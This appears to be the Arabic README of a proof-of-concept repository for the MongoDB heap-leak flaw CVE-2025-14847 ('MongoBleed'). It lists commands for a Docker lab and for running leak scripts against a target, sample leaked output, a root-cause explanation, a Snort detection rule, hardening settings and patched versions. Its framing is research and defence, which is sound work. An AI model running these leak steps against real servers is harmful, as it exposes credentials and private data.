
استغلال إثبات مفهوم وظيفي لـ CVE-2025-14847 (MongoBleed)، ثغرة كشف ذاكرة الكومة قبل المصادقة في MongoDB. يتضمن كشف تسرب الذاكرة الآلي، وتحليل الأنماط، وبيئة مختبرية قائمة على Docker لاختبار الأمان والبحث المصرح به.
إثبات مفهوم كامل لثغرة CVE-2025-14847 (MongoBleed)
مُختبَر: ✅ MongoDB 7.0.5 | أكثر من 14.300 استغلال ناجح | 4 معرّفات UUID مسرّبة
يحتوي هذا المستودع على إثبات مفهوم (PoC) كامل الوظائف لثغرة CVE-2025-14847، المعروفة باسم MongoBleed، وهي خلل حرج في كشف ذاكرة الكومة (heap) قبل المصادقة في MongoDB.
في ديسمبر 2025، تعرّضت لعبة Rainbow Six Siege لهجوم واسع النطاق اخترق حوالي 50.000 حساب لاعب. يُشتبه في أن المهاجمين استغلوا هذه الثغرة في MongoDB الخاص بالواجهة الخلفية (backend) لتسريب:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)يحاكي هذا الـ PoC الهجوم باستخدام بيانات واقعية من R6.
poc.py - الاستغلال الرئيسي مع تحليل الأنماطlive_leaker.py - مسح تزايدي متقدمpopular_heap.py - سكربت لملء الكومة ببيانات مستهدفة246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# استنساخ المستودع
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# تشغيل البيئة القابلة للاستغلال
docker-compose up -d
# انتظار التهيئة (15-20 ثانية)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. ملء الكومة ببيانات R6
python3 popular_heap.py 50
# 2. التحقق من الثغرة
python3 poc.py --target 127.0.0.1 --check
# 3. الاستغلال باستخدام live leaker (موصى به)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker متقدم
[!] الهدف: 127.0.0.1:27017
[!] النطاق: doc_len 200 → 3000 (offset=500)
[*] التقدم: doc_len=245/3000 | المحاولات=100 | معدل النجاح=100.0%
[!] تم رصد أنماط R6 (doc_len=245):
[UUID] 1 جديد:
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
يتيح MongoDB ضغط الرسائل عبر zlib. تكمن الثغرة في التحقق غير الكافي من الحجم المُعلَن مقارنةً بالحجم الفعلي:
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
Servidor aloca 1MB de heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA
// قبل التصحيح
size_t uncompressedSize = header.uncompressedSize; // ← يتحكم فيه المهاجم
buffer = malloc(uncompressedSize); // ← يخصص حجمًا خبيثًا
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← يسرب المخزن المؤقت بالكامل
MongoDBPoc/
├── poc.py # الاستغلال الرئيسي
├── live_leaker.py # مسح تزايدي (✨ موصى به)
├── popular_heap.py # سكربت التحميل
├── docker-compose.yml # MongoDB 7.0.5 قابل للاستغلال
├── init-db.js # 1000 لاعب + 500 جلسة R6
├── GUIA_TECNICO_COMPLETO.md # توثيق مفصّل (أكثر من 200 صفحة)
├── README.MD # التوثيق بالإنجليزية
└── Portugues/ # النسخ المترجمة
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # أبدًا 0.0.0.0!
compression:
compressors: [] # تعطيل zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - تحليل تقني كامل (أكثر من 200 صفحة)
README.MD - التوثيق الرئيسي (بالإنجليزية)
Portugues/ - النسخ المترجمة
هذه الأداة مخصّصة فقط للاختبارات المأذون بها وللأغراض التعليمية.
الاستخدام غير المصرّح به غير قانوني وقد يؤدي إلى:
- ملاحقات جنائية (القانون 12.737/2012 في البرازيل)
- غرامات باهظة
- السجن
احصل دائمًا على إذن كتابي قبل الاختبار.
المؤلف: Ermenson Jr
الترخيص: MIT (للاستخدام التعليمي)
التاريخ: يناير 2026
للاستفسارات التقنية أو التعاون في أبحاث الأمان:
طُوّر لأغراض البحث الأمني الهجومي المسؤول.
غير تابع لـ Ubisoft أو MongoDB Inc. أو Rainbow Six Siege.
🔒 استخدم بمسؤولية. الأمان للجميع. 🔒
| المقياس | النتيجة |
|---|
| MongoDB المُختبَر | 7.0.5 (قابل للاستغلال) |
| معدل النجاح | 100% (14.300/14.300 طلبًا) |
| UUIDs المسرّبة | 4 فريدة |
| إجمالي التسريبات | 33 سلسلة نصية مختلفة |
| أكبر تسريب | 176 بايت/طلب |
| الأنماط المكتشفة | سجلات الشبكة، UUIDs، مسارات النظام |
| سلسلة MongoDB | الإصدارات القابلة للاستغلال | الإصدار المُصحَّح |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | جميعها | بدون تصحيح (EOL) |